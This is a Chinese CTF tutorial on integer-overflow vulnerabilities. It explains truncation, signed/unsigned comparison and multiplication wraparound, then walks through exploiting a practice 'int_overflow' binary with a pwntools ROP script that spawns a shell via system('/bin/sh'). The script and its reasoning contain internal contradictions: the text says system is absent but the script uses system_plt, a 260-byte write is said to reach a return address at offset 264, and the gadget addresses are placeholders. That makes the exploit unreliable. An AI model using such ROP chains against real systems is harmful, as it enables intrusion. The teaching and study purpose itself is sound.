1. 从入门到放弃的边缘:为什么int_overflow是PWN入门必学
我最早见整数溢出这个玩意,是在第一次刷某平台的PWN入门题时。当时我对漏洞的认知还停留在“缓冲区溢出就是一直往栈里塞东西塞到返回地址被打爆”,结果一道挂名int_overflow的题直接把我整不会了。题目读下来,缓冲区预留了很大,似乎没有明显溢出,可出题人愣是让我用一小段数据拿到了shell。后来才知道,关键不在缓冲区大小,而在一个不起眼的整数类型转换上。
整数溢出,也叫整型溢出,本质上是C语言在存储和计算整数时,变量的类型宽度不够用,导致数据发生了“回绕”。这就好比一个水桶只能装10升水,你硬往里灌12升,多出来的水不是流到地上,而是从桶底的洞又循环回来,从0重新开始装。对程序来说,结果就是一个很大、很“正”的数可能突然变成一个很小的数,甚至变成负数;而一个本不该越界的数据拷贝,就因为这种数值扭曲,硬生生突破了边界检查。
很多刚入门的朋友觉得整数溢出是“偏门”,不如栈溢出直观。实际上,在CTF和真实漏洞挖掘里,整数溢出往往是打开全局的那个“钥匙”。它本身很难单独变成RCE,但它能把长度检查变成废纸,把循环次数变成负数,把只读的越界变成可写的任意地址。学会它,你才能真正读懂漏洞代码里那些“多余的一眼”。
所以这篇内容,适合两类人看:一是刚开始刷PWN、想从“照着exp抄”过渡到“自己找思路”的初学者;二是写代码时总被编译器坑、想搞明白unsigned和signed到底差在哪的安全开发。我会尽量把原理掰开揉碎,带上完整的做题流程,连翻车记录都给你看。
2. 漏洞点定位:如何在代码里一眼认出整数溢出
2.1 危险模式自查表
想找到整数溢出,不需要把整个程序反编译完,实际上大多数题目的漏洞点非常集中,就藏在几个固定套路里。做多了你会发现,出题人翻来覆去就爱用这么几种写法。
第一种是最常见的:窄类型存储宽数据。比如程序用char v3接收用户输入的长度,但后续用memcpy时却把v3隐式转成size_t。char是有符号8位,范围只有 -128 到 127,你输入的长度如果是 300,存在v3里就只剩 44。更阴险的是,如果你输入 0x104,也就是十进制的260,存进单字节后变成 0x04,绕过了“长度必须小于10”的检查,可memcpy真正拷贝时却拿着原始长度 260 去干活,栈上直接被穿了一个大洞。
第二种是无符号数与有符号数比较。常见代码是:
unsigned int size = recv_len(packet); if (size < 1024) { // 合法 }看着没问题,可如果size是int,你把一个负数值传进去,比如-1,在无符号比较时-1会被解释成 0xFFFFFFFF,等于 4294967295,铁定大于 1024,检查被绕过。反过来,如果检查条件是size > 1024,负数又可能直接被放行。这类比较最容易出问题,因为C语言有隐式类型转换规则,无符号优先,很多人根本注意不到自己写的那个int到底被当成什么在比。
第三种是乘法或加法溢出导致分配空间不足。漏洞代码可能是:
char *buf = malloc(count * size); memcpy(buf, data, count * size);如果count和size都是可控整数,两个大数相乘的结果超出size_t的表示范围,乘积回绕成一个很小的数,malloc只分配了一小块内存,后续memcpy却按真实乘积长度拷贝,妥妥的堆溢出。
2.2 从入口参数追踪类型转换
知道了危险模式,下一步就是顺着输入流走一遍,看数据在每一层变成了什么类型。这个过程没什么高深技巧,核心就三个字:盯类型。
我在分析题的时候,会先在IDA里找到程序的输入点,比如read、fgets、scanf,然后看这个输入的值被赋给谁。如果赋值的目标是一个char或者short,我就会在笔记里写上“截断点”。接下来再看这个变量被用在什么比较里,是if (v3 <= 10)还是if (v3 > 10u),这里的u后缀就代表着无符号比较。
这里要特别提醒新手:赋值截断发生在存储时,而不是读取时。也就是说,程序先把你输入的原始值塞进窄变量,丢掉高位,之后再用这个窄变量做判断。你输入 0x104,char v3存的是 0x04;但后面如果直接用原始输入值做另一个计算,两者就会产生差值,这个“差值”正是可以利用的空间。很多现场分析题还会用int接read的返回值,再用int去和size_t做减法和比较,一环扣一环,任何一个环节类型没对齐,结果就歪了。
用一张表直观总结:
| 代码模式 | 判断表达式 | 结果 |
|---|---|---|
char v = user_input; if (v < 10) buf[v] | v被截断 | 绕过长度上限 |
int n = read(...); if (n > 10) ... | 负数放行 | 无符号/有符号混乱 |
malloc(a*b) | 乘积回绕 | 堆缓冲区过小 |
for (i = 0; i < n; i++) | i类型窄 | 循环次数扭曲 |
实际做题时,用IDA的交叉引用功能把可疑变量点开,一层层看它走到哪个函数、参与什么运算,基本5分钟就能锁定漏洞。最难的不是看不出来,而是你压根没往类型转换那个方向想。
3. 反汇编视角下的整数溢出:一段代码的解剖
3.1 从汇编看隐式转换
理解了危险模式,其实你已经能看懂大部分溢出题了。但真正高端的题,或者真实场景下的漏洞,往往不会写得那么直白,而是藏在汇编里。这时候你会发现,C语言的类型规则在汇编层面会暴露得很彻底。
举一个我在某道题里看到的片段:
movzx eax, [rbp+var_8] ; 窄类型用 movzx 扩展 cmp eax, 0Ah jle short loc_4012A3movzx是无符号扩展,把一个 char 变成 int,高位补零。这说明代码里用的是无符号窄类型。如果换成movsx,则是把负数的符号位扩展上去,结果就完全不一样。判断跳转条件的时候,jle是被认为有符号的跳转,而jbe是无符号跳转。同一个比较结果,配套的跳转指令不同,含义就会打架。
反编译器的伪代码有时候会把人绕晕,因为编译器优化后可能直接进行常量折叠,把v3 * 4在编译期就算完了。但只要你顺着汇编里的扩展指令和跳转条件看,就能还原出真正的类型语义。
还有一点容易被忽略:64位程序里,int赋给size_t会自动进行符号扩展。负数变成 0xFFFFFFFFFFFFFFFF,一个巨大的无符号数。所以64位下整型溢出往往不是数据回绕,而是符号扩展后的“长度爆炸”。分析时一定要自己算一遍位模式,千万别想当然。
3.2 调用约定与长度参数的坑
函数调用时,read(fd, buf, size)和memcpy(dst, src, n)的第三个参数在64位下通过rdx寄存器传递。如果第三个参数本身来自一个被截断的变量,那调试的时候就可以在函数入口处下断点,直接查看rdx被放进了什么值。
我之前调试一个疑似整数溢出的题,就是通过这种方式确认的:程序逻辑上把用户输入的长度存在char里,然后又传给memcpy,我在memcpy的入口处看到rdx = 0xFFFFFFFFFFFFFxxx,立马明白这不是普通溢出,而是符号扩展加整数回绕的连环套。如果不看寄存器,光靠读伪代码,很容易被char那个假象骗过去。
这里也顺带提一个很多新手会卡住的点:strlen和memcpy配合使用时的截断问题。strlen返回size_t,如果是64位就是8字节。你把它直接塞给char v3,8字节被砍成1字节,高位全部丢失。看起来像是正常复制,其实长度早被扭曲了。这种写法在真实代码里并不少见,出题人也特别爱用。
4. 实战拆解:一道典型int_overflow题的完整利用过程
4.1 题目环境与保护机制分析
讲完理论,直接上手一道模拟题。这道题是我在内部交流时给新人准备的入门题,结构非常典型,考点就是char截断 + 栈溢出组合。
拿到文件后,第一步永远是看保护。用checksec:
checksec int_overflow输出长这样(注意不同版本显示不完全相同):
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)看到什么了?没有canary,没有PIE,只有NX开启。这是最经典的栈溢出题目标配。没有canary意味着我们不需要考虑覆盖金丝雀的问题,没有PIE意味着代码段地址固定,可以随便写死ROP地址。NX开启意味着栈不可执行,但我们可以用ROP调库函数。
第二步,把程序跑一下收集信息。看菜单、交互流程、输入点数量。这道题的逻辑大概是:输入一个用户名,然后进入一个功能函数,该函数读取一个缓冲区长度,再根据长度读取数据。我用IDA的F5看一下关键函数名字,很快发现了主逻辑里的两个可疑点:
char buf[256]; int n = read_len(); // 用户可控 char v3 = n; // 窄类型截断出现 if (v3 <= 10) { read_content(buf, n); // 注意这里传的是n,不是v3 }read的时候用的是原始n,判断却基于截断后的v3。我输入n = 0x104,v3存成0x04,4 <= 10通过检查,但read_content实际上往buf[256]里写入了0x104 = 260字节,超出栈上缓冲区大概4个字节。这4个字节的越界写,已经足够覆盖到返回地址附近。
很多题会直接把char v3定义为unsigned char,这样0x104截断后是0x04,同样成立。区别只是结果的符号。分析时不用太纠结符号,反正要的是绕过效果。
4.2 编写exp并踩坑
有了溢出点,接下来就是常规ROP或者直接覆盖返回地址。这道题没有canary,所以返回地址的偏移直接用调试算。GDB里在read_content返回后打断点,先填充一段特征字符串,看返回地址被什么值覆盖。
我用pwntools+cyclic生成特征串,然后看GDB报错时栈顶的偏移。实测下来偏移是264(256字节缓冲区 + 8字节保存的rbp),也就是说,我构造264字节填充 + 返回地址就能劫持控制流。
题目环境里没有现成的system函数,也没有/bin/sh字符串,所以常规思路是栈迁移到调用read的地址,把/bin/sh写到bss段,再调system。完整exp大致长这样:
from pwn import * elf = ELF('./int_overflow') pop_rdi = 0x00000000004012a3 # pop rdi; ret bss = elf.bss() # 可写段地址 read_plt = elf.plt['read'] system_plt = elf.plt['system'] offset = 264 def exploit(io): io.recvuntil(b'username:') io.sendline(b'admin') io.recvuntil(b'length:') io.sendline(str(0x104).encode()) io.recvuntil(b'content:') # 第一次攻击:ROP链读入 /bin/sh 到 bss 段 payload = b'A' * offset payload += p64(pop_rdi) payload += p64(0) # fd = stdin payload += p64(pop_rdi + 1) # pop rsi; ret (要根据实际地址调整) payload += p64(bss) # buf = bss payload += p64(pop_rdi + 2) # pop rdx; ret payload += p64(8) # size payload += p64(read_plt) payload += p64(system_plt) payload += p64(bss) io.send(payload) io.send(b'/bin/sh\x00') io.interactive() if __name__ == '__main__': pro = process('./int_overflow') exploit(pro)注意这里的pop_rdi + 1、pop_rdi + 2只是为了演示,实际题目环境里不一定存在连续的 gadget,需要你用ROPgadget找齐pop rsi; ret、pop rdx; ret。这是调试过程中最恶心的一步,我踩过最大的坑是:远程环境里的gadget地址和本地完全对不上,原因可能是libc版本不同,也可能是远程的加载基址变了。PIE关闭只代表主程序地址固定,不代表libc固定。
当然,如果题目给了system且你传的rdi本来就是指针,那这题会更简单。但无论如何,整条利用链里,真正让我们突破长度检查的就是那个0x104的截断值。
4.3 为什么这道题必须用大长度输入
这一节回答一个新手经常问的问题:“既然长度检查是v3 <= 10,为什么我不能直接发个20,让memcpy写20字节?”
答案很简单,20写入char v3还是20,大于10,判断直接拦截。你要做的就是找一个大到截断后落回小于10的数。以char为例,能通过判断的数其实是所有模256后小于10的值。比如 0x104、0x204、0x30C……它们在v3看来都是4、12、11之类的数字,但memcpy却按照原始值复制,所以0x30C会溢出更多。你可以根据需要选择不同数值来控制溢出字节数,这就给了你极大的弹性。
我当时最兴奋的一点就在这里:这题虽然是入门题,但利用价值远超表面。你能通过改变输入长度微调覆盖字节数,意味着可以做到精确的“覆盖返回地址 + 局部变量”。比起盲目的超大填充,这种精准控制对手写ROP和高版本gcc下的栈布局非常有帮助。
5. 保护机制与绕过思路:不只是入门题的进阶玩法
5.1 NX、Canary、PIE和RELRO对利用的影响
前面那道题只开启了NX,属于“裸奔”状态。但真实环境或者高阶CTF题里,全套保护几乎总是开满的。整数溢出本身是一种“逻辑漏洞”,它和栈溢出不一样,它不关心你有没有canary,只要计算逻辑错了,它就能用。但利用的结果往往还是要落到内存布局上,所以保护机制决定的是后半段链路的写法。
先看Canary。整数溢出如果只控制拷贝长度,没有直接覆盖canary的位置,那么canary依然会拦下我们的ROP。破解思路有两条:一是利用溢出长度“正好”停在canary之前,先泄露再二次覆盖;二是寻找其他泄露点,比如格式化字符串或越界读,把canary的值捞出来。前者在栈上有局部变量指针时特别好用,后者万能但依赖另一个漏洞。
再看PIE。PIE开启后代码段地址随机化,主程序里的gadget和函数地址每次加载都不一样。如果溢出点本身还允许我们读取got表项,就可以先泄露一个Libc函数地址,算出libc基址;或者利用程序输出的报错信息顺带打印出某个地址。实在不行,也可以用“部分覆盖”的技巧,只改返回地址的最后几个字节,这样高地址保持不变,也能指向另一个在附近的功能。
最后说RELRO。Partial RELRO下got表可写,可以直接修改GOT表项指向system;Full RELRO下got不可写,就得走libc函数、hook指针或者栈迁移了。做题的时候,checksec输出给我最重要的信息不是NX,而是RELRO程度,因为它直接决定了我要不要准备一段strlen改成system的操作。
5.2 整数溢出和其他漏洞的组合拳
单独一个整数溢出往往只能打穿逻辑,真正拿到shell还是需要跟别的漏洞组合。我在实战里见过三种最典型的组合。
整数溢出 + 堆溢出:malloc分到的堆块太小,后续写入造成堆块溢出,覆盖下一个堆块的size字段,制造出重叠块。最终实现任意地址写。这种套路在堆题里很常见,而且比纯栈题更能发挥整数溢出的价值,因为堆块布局的可控性更高。
整数溢出 + 数组越界:索引值经过窄类型截断后变成一个更大的数,比如buf[i]里的i是char,你传-1就能越界访问到buf[-1]附近的高地址。在可写数组里,这意味着你可以修改程序其他数据。这类组合在CTF里更多是拿来“开脑洞”的,深入分析之后,你会发现自己对偏移量和类型宽度的敏感度会大幅提升。
整数溢出 + 栈迁移:当溢出点长度不足以塞下完整ROP链时,可以把返回地址改成leave; ret,把栈指针迁移到bss段,再把真正的链子放bss段里。这需要另一个输入点把bss写满。我大学时第一次成功打穿一道带canary的题,就是靠这个组合,整个过程回头看其实很粗糙,但成就感比直接秒杀高多了。
这些组合都不是单独记套路就能会的,一定要在调试器里一步步跟下来。我第一次调内存布局的时候头大如斗,但多来几遍之后,你对地址、偏移量和栈布局的直觉会非常准。
6. 常见问题与查错手册
写了这么多,我把自己从新手到现在踩过的坑汇总成一份速查表,做题时卡住了可以直接对照。每一条都是真金白银换来的经验,特别是远程和本地的差异,可以说是PWN新手最神秘的玄学之一。
| 问题现象 | 可能原因 | 解决思路 |
|---|---|---|
| 本地打成功了,远程打不通 | libc版本不一致,gadget地址失效 | 用题目提供的libc,或者关闭ASLR后调试 |
sendline(str(0x104))后程序不进入输入流程 | read和scanf对换行的处理不同 | 检查输入函数是read还是scanf,相应加\n |
覆盖返回地址后程序崩溃在__libc_csu_init | 没有正确设置栈对齐,调用system时需要16字节对齐 | 在ROP链开头加一个ret |
用p64构造地址总是不对 | 忘了地址字节序,x86_64是小端序 | 检查p64输出的原始字节 |
checksec显示RELRO: Partial,为什么改GOT没成功 | 还要检查是否开了PIE,GOT地址会变 | 先泄露地址,或使用libc库函数 |
char v3 = n后为什么是负值 | 有符号char会把高位置1的高位当成负数 | 用unsigned char储存,或看movzx/movsx |
循环里for (i = 0; i < n; i++)直接爆栈 | n是无符号大数,循环条件永远成立 | 检查n的类型和比较方向 |
ROP链地址找不对,ROPgadget输出为空 | 程序被strip或优化太狠 | 从libc里找gadget,配合libc基址 |
这里挑一条重点展开说:栈对齐。64位下调用system时要求rsp % 16 == 0,这也是为什么很多exp都要在ROP链开头塞一个单独的retgadget。不处理的话,system一拍栈就崩,你会以为是地址错了,实际上只是一个对齐问题。排查这种问题最快的方法就是在GDB里断到system入口,看一眼寄存器和栈指针。
另外,远程题如果总是连不上,先把交互里所有recvuntil的字符串和本地对比一遍。有时是服务器端的提示语里多了个空格,或者输出顺序不同,导致你的exp等不到该等的东西,直接超时。这属于“非技术原因”,但占比极高。
7. 从一道题到一类题:我的复盘心得
做整数溢出题最有趣的地方是,它不止一种解法。同样是绕过长度检查,你可以利用无符号数比较、有符号扩展、乘法回绕、甚至类型转换时的实现差异。多解思路对新人特别友好,因为它逼你把每个类型转换的底层行为都想透。
我自己复盘的时候,喜欢把一种漏洞的“世界观”整理成几个固定问题:程序从哪里读入数据、数据经过哪些类型转换、转换后的值与原始值差在哪、这个差值能不能通过边界。把这些问题套在所有PWN题上,基本都能快速定位。
有一点要特别提醒:不用过度依赖现成exp。CTF圈子很多writeup喜欢直接放一个成型的py脚本,新手跑通之后感觉自己会了,下一次遇到类似题目照样懵。我建议拿到一个writeup后,先把核心payload还原成“自己思考的结论”,关闭答案从零推一遍,然后再看和原exp的差异。这比跑通十个exp有用得多。
顺着这个思路,你甚至可以给自己出题:把一道栈溢出题的缓冲区改成不同大小,看看同样的溢出手法还能不能打。如果不能用,就说明你对偏移的理解还不够深入。我就是这么练的,虽然过程枯燥,但对栈帧布局已经形成了肌肉记忆。
最后分享一个在几分钟内就能用上的小技巧:调试整数溢出题的时候,在可疑函数入口处b *0x地址,然后用x/20gx $rsp看栈上内容。那个被截断的变量会在栈上留下一个奇怪的高位残留,顺着就能找到漏洞的源头。这比反复读伪代码直观得多,也是我处理这类问题时最喜欢用的方法。
这条路很漫长,但只要你肯踩坑、肯复盘,int_overflow这类“小技俩”早晚会变成你工具箱里最顺手的一件武器。